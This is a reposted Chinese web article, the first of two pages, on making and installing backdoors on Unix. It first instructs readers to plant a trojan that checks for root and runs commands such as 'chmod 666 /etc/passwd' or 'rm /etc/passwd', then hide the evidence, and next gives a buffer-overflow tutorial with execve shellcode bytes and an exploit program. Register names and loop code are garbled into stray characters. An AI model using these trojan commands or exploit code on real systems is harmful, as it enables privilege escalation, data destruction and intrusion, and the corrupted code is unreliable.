当前位置: 首页 >> 网络协议与安全 >> 后门制作及安装技术
 

后门制作及安装技术

作者:      来源:zz     发表时间:2007-02-06     浏览次数:      字号:    


    这儿有个非常巧妙地利用上述技巧的方法:
  
  步骤三:成为超级用户
  
    写一个程序让别人运行.在程序中加入这行:
  
  if ( !strcmp(getlogin(),"root") ) system("whatever you want");
  
    这是为检查root是否在运行你的程序. 如果是,你就能让他执行任何你想执行的shell命令
  
    你能让他执行下列命令:
  
  "chmod 666 /etc/passwd"
  
    /etc/passwd 是系统的口令存放文档. 只有root 拥有这个文档.通常所有的用户都能读它(口令已被编码), 但是只有 root 能改写它.如果你以前没有看过,你得好好看看它的格式. 这条命令能让你往该文档中写东西. 也就是说为你和你的朋友建立不受限制的帐户.
  
  "chmod 666 /etc/group"
  
    通过把你加入到高权限的组中, 你能留很多后门.
  
  "chmod 666 /usr/lib/uucp/L.sys"
  
    如果在uucp网上,找一下系统中的着个文档. 它包含有连到网上其他系统的拨号联接及口令, 通常只有uucp管理员能读. 找到谁拥有这个文档,然后让他不知不觉地运行那个能让你解开该文档的程序.
  
  "rm /etc/passwd"
  
    如果你能取得 root 的权限,运行着条命令, 系统的passwd 文档就会被移走,系统会被停下而且在短期内不能恢复.这样做回造成巨大的损失.
  
    如果你准备将特洛伊木马程序添加到你的系统中,你应遵守几条规则.如果是为了不可告人的目的(如解开用户的mbox或删除他的所有文件或其他什么的) 这个程序不可能是一个能让别人运行多次的程序,因为一旦人们发现他们的文件都已公开,问题的根源就很容易被发现.如果是以一个'测试'程序为目的(如你正在写的一个游戏程序),你能通过邮件要求不同的人来运行或和他们讨论.正如我所说,这个'测试'程序当完成任务时能显示假的错误信息,你就可以告诉那人"唔,我想它应改进", 等到他们离开,你就能读任何你解开的文档了.如果你的特洛伊木马程序只是为用来找到特殊的用户,如root或其他的拥有很高权限的用户,你可以将代码加入到系统中那些用户使用频率比较高的程序中. 你的修改会潜伏着直到他运行那程序. 如果你不能找到能让你'星际旅行'的源程序或其他的C语言程序,你只要学了C语言并从pascal中变换过一些来. 学习C语言并没有什么损失,因为它是一种非常了不起的语言.我们已经看到它能在UNIX系统上所能干的.一旦你抓到 root (也就是说你已经可以修改 /etc/passwd 文档) 从你的特洛伊木马程序中删除伪造用的代码,这样一来你就永远不会被抓了.
  
    返回黑客天书
  
    Buffer Overflow 机理剖析
  
    使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析.
  
    本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节:
  
    关于堆栈的基础知识
  
    Buffer Overflow 的原理
  
    Shell Code 的编写
  
    实际运用中遇到的问题
  
    附录
  
  1. 关于堆栈的基础知识
  
    一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段 , 数据段和堆栈段(参见下图). 代码段对应与运行文件中的 Text Section ,其中包括运行代码和只读数据, 这个段在内存中一般被标记为只读 , 任何企图修改这个段中数据的指令将引发一个 Segmentation Violation 错误. 数据段对应与运行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化的和未经初始化的)和静态变量.
  
    下面我们将详细介绍一下堆栈段.
  
  
  |--------| 虚存低端
  |        |
  |  代码段   |
  |        |
  |--------|
  |        |
  |  数据段   |
  |        |
  |--------|
  |        |
  |  堆栈段   |
  |        |
  |--------| 虚存高端
  
  堆栈是什么?
  
    如果你学过<<数据结构>>这门课的话, 就会知道堆栈是一种计算机中经常用到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和弹出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被弹出堆栈.
  
  堆栈段的作用是什么?
  
    现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中,不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令将这些数据也存入堆栈(有些也可通过寄存器传递).
  
    我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack Frame).
  
  栈帧的结构:
  
    下面我们通过一个简单的例子来分析一下栈帧的结构.
  
  void proc(int i)
  {
   int local;
   local=i;
  }
  void main()
  {
   proc(1);
  }
  
    这段代码经过编译器后编译为:(以PC为例)
  
  main:push 1
     call  proc
     ...
  proc:push ebp
     mov ebp,esp
     sub esp,4
     mov eax,
     mov ,eax
     add esp,4
     pop ebp
     ret 4
  
    下面我们分析一下这段代码.
  
  main:push 1
     call proc
  
    首先, 将调用要用到的参数1压入堆栈,然后call proc
  
  proc:push ebp
     mov ebp,esp
  
    我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过存取参数1. 但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过来存取1了. 因此, 为了便于参数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用来存取参数1了.
  
  sub esp,4
  
    将esp减4,留出一个int的位置给局部变量 local 使用, local可通过来存取
  
     mov eax,
     mov ,eax
  就是 local=i;
  
     add esp,4
     pop ebp
     ret 4
  
    首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.
  
    不难看出,这个程序在执行proc过程时,栈帧的结构如下:
  
   4    4    4    4
      内存高端
  |    |
  esp(栈顶)ebp
  
    因此,我们可以总结出一般栈帧的结构:
  
  ......
  |                |
  esp(栈顶)            ebp
  
    了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了.
  
  2. Buffer Overflow 的机理
  
    我们先举一个例子说明一下什么是 Buffer Overflow :
  
  
  void function(char *str)
  {
    char buffer;
    strcpy(buffer,str);
  }
  
  void main()
  {
    char large_string;
    int i;
  
    for( i = 0; i < 255; i )
    large_string = 'A';
  
    function(large_string);
  }
  
    这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样?
  
    首先我们看一下未执行strcpy时堆栈中的情况:
  
     16   4   4     4
  ...
  |      |
  esp     ebp
  
    当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation.
  
    从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如insh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事. 因此, 这段代码一般被称为Shell Code.
  
    下面我们就来看一下如何编写Shell Code.
  
  3. Shell Code 的编写
  
    下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)
  
  void main() {
    char *name;
  
    name = "/bin/sh";
    name = NULL;
    execve(name, name, NULL);
  }
  
    我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
  
  $ gcc -o shellcode -ggdb -static shellcode.c
  $ gdb shellcode
  GDB is free software and you are welcome to distribute copies of it
  under certain conditions; type "show copying" to see the conditions.
  There is absolutely no warranty for GDB; type "show warranty" for details.
  GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  (gdb) disassemble main
  Dump of assembler code for function main:
  0x8000130

: pushl 雙
  0x8000131
: movl %esp,雙
  0x8000133
: subl $0x8,%esp
  0x8000136
: movl $0x80027b8,0xfffffff8(雙)
  0x800013d
: movl $0x0,0xfffffffc(雙)
  0x8000144
: pushl $0x0
  0x8000146
: leal 0xfffffff8(雙),陎
  0x8000149
: pushl 陎
  0x800014a
: movl 0xfffffff8(雙),陎
  0x800014d
: pushl 陎
  0x800014e
: call 0x80002bc <__execve>
  0x8000153
: addl $0xc,%esp
  0x8000156
: movl 雙,%esp
  0x8000158
: popl 雙
  0x8000159
: ret
  End of assembler dump.
  (gdb) disassemble __execve
  Dump of assembler code for function __execve:
  0x80002bc <__execve>: pushl 雙
  0x80002bd <__execve 1>: movl %esp,雙
  0x80002bf <__execve 3>: pushl 離
  0x80002c0 <__execve 4>: movl $0xb,陎
  0x80002c5 <__execve 9>: movl 0x8(雙),離
  0x80002c8 <__execve 12>: movl 0xc(雙),靫
  0x80002cb <__execve 15>: movl 0x10(雙),韝
  0x80002ce <__execve 18>: int $0x80
  0x80002d0 <__execve 20>: movl 陎,韝
  0x80002d2 <__execve 22>: testl 韝,韝
  0x80002d4 <__execve 24>: jnl 0x80002e6 <__execve 42>
  0x80002d6 <__execve 26>: negl 韝
  0x80002d8 <__execve 28>: pushl 韝
  0x80002d9 <__execve 29>: call 0x8001a34 <__normal_errno_location>
  0x80002de <__execve 34>: popl 韝
  0x80002df <__execve 35>: movl 韝,(陎)
  0x80002e1 <__execve 37>: movl $0xffffffff,陎
  0x80002e6 <__execve 42>: popl 離
  0x80002e7 <__execve 43>: movl 雙,%esp
  0x80002e9 <__execve 45>: popl 雙
  0x80002ea <__execve 46>: ret
  0x80002eb <__execve 47>: nop
  End of assembler dump.
  
    下面我们来首先来分析一下main代码中每条语句的作用:
  
  0x8000130
: pushl 雙
  0x8000131
: movl %esp,雙
  0x8000133
: subl $0x8,%esp
  
    这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:
  
  char *name;
  
    也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.
  
  0x8000136
: movl $0x80027b8,0xfffffff8(雙)
  
    这里, 将字符串"/bin/sh"的地址放入name的内存单元中, 也就是相当于 :
  
  name = "/bin/sh";
  0x800013d
: movl $0x0,0xfffffffc(雙)
  
    将NULL放入name的内存单元中, 也就是相当于:
  
  name = NULL;
  
    对execve()的调用从下面开始:
  
  0x8000144
: pushl $0x0
  
    开始将参数以逆序压入堆栈, 第一个是NULL.
  
  0x8000146
: leal 0xfffffff8(雙),陎
  0x8000149
: pushl 陎
  
    将name的起始地址压入堆栈
  
  0x800014a
: movl 0xfffffff8(雙),陎
  0x800014d
: pushl 陎
  
    将字符串"/bin/sh"的地址压入堆栈
  
  0x800014e
: call 0x80002bc <__execve>
  
    调用execve() . call 指令首先将 EIP 压入堆栈
  
    现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.
  
    我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.
  
  0x80002bc <__execve>:  pushl 雙
  0x80002bd <__execve 1>: movl %esp,雙
  0x80002bf <__execve 3>: pushl 離
  
    同样的入口处理
  
  0x80002c0 <__execve 4>: movl $0xb,陎
  
    将0xb(11)赋给eax , 这是execve()在系统中的索引号.
  
  0x80002c5 <__execve 9>: movl 0x8(雙),離
  
    将字符串"/bin/sh"的地址赋给ebx
  
  0x80002c8 <__execve 12>: movl 0xc(雙),靫
  
    将name的地址赋给ecx
  
  0x80002cb <__execve 15>: movl 0x10(雙),韝
  
    将NULL的地址赋给edx
  
  0x80002ce <__execve 18>: int $0x80
  
    产生系统调用,进入核心态运行.
  
    看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:
  
  leal string,string_addr
  movl $0x0,null_addr
  movl $0xb,陎
  movl string_addr,離
  leal string_addr,靫
  leal null_string,韝
  int $0x80
  (我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
  string db "/bin/sh",0
  string_addr dd 0
  null_addr  dd 0
  
    但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:
  
  movl string_addr,離
  
    这种需要将绝对地址编码进机器语言的指令根本就没法使用.
  
    解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.
  
    经过上面的修改,我们的ShellCode变成了下面的样子:
  
  jmp 0x20
  popl esi
  movb $0x0,0x7(%esi)
  movl %esi,0x8(%esi)
  movl $0x0,0xC(%esi)
  movl $0xb,陎
  movl %esi,離
  leal 0x8(%esi),靫
  leal 0xC(%esi),韝
  int $0x80
  call -0x25
  string db "/bin/sh",0
  string_addr dd 0
  null_addr  dd 0 # 2 bytes,跳转到CALL
  # 1 byte, 弹出string地址
  # 4 bytes,将string变为以'结尾的字符串
  # 7 bytes
  # 5 bytes
  # 2 bytes
  # 3 bytes
  # 3 bytes
  # 2 bytes
  # 5 bytes,跳转到popl %esi
  
    我们知道C语言中的字符串以'结尾,strcpy等函数遇到'就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有'. 下面我们就对它作最后一次改进,去掉其中的':
  
  原指令:          替换为:
  
  movb $0x0,0x7(%esi)    xorl 陎,陎
  movl $0x0,0xc(%esi)    movb 陎,0x7(%esi)
                 movl 陎,0xc(%esi)
  
  movl $0xb,陎       movb $0xb,%al
  
    OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
  
  void main() {
  __asm__("
  jmp 0x18       # 2 bytes
  popl %esi      # 1 byte
  movl %esi,0x8(%esi) # 3 bytes
  xorl 陎,陎    # 2 bytes
  movb 陎,0x7(%esi) # 3 bytes
  movl 陎,0xc(%esi) # 3 bytes
  movb $0xb,%al    # 2 bytes
  movl %esi,離    # 2 bytes
  leal 0x8(%esi),靫 # 3 bytes
  leal 0xc(%esi),韝 # 3 bytes
  int $0x80      # 2 bytes
  call 0x2d      # 5 bytes
  .string "/bin/sh" # 8 bytes
  ");
  }
  
    经过编译后,用gdb得到这段汇编语言的机器代码为:
  
  xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b
  x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh
  
    现在我们可以写我们的试验程序了:
  
  exploit1.c:
  
  char shellcode =
  "xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
  
  char large_string;
  
  void main()
  {
   char buffer;
   int i;
   long *long_ptr = (long *) large_string;
  
   for(i=0;i<32;i ) *(long_ptr i)=(int)buffer;
  
   for(i=0;i  
   strcpy(buffer,large_string);
  }
  
    在上面的程序中,我们首先用 buffer 的地址填充large_string并将ShellCode放在large_string的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
  
    现在我们编译运行一下这个程序:
  
  $ gcc o exploit1 exploit1.c
  $ ./exploit1
  $ exit
  exit
  $
  
    OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.
  
    但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.
  
  4. 实际运用中遇到的问题
  
    在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.
  
    但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.
  
    幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.
  
    下面就是一个打印堆栈起始地址的程序:
  
  sp.c
  unsigned long get_sp(void) {
   __asm__("movl %esp,陎");
  }
  void main() {
   printf("0x%x ", get_sp());
  }
  $ ./sp
  0x8000470
  $
  
    上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.
  
    一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可). 

[1] [2]

编辑 webmaster

 
 
 
评论更多>>
 
 
发表
 
姓名: QQ:
性别: MSN:
E-mail: 主页:
评分: 1 2 3 4 5
评论内容:
验证码:
  
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  •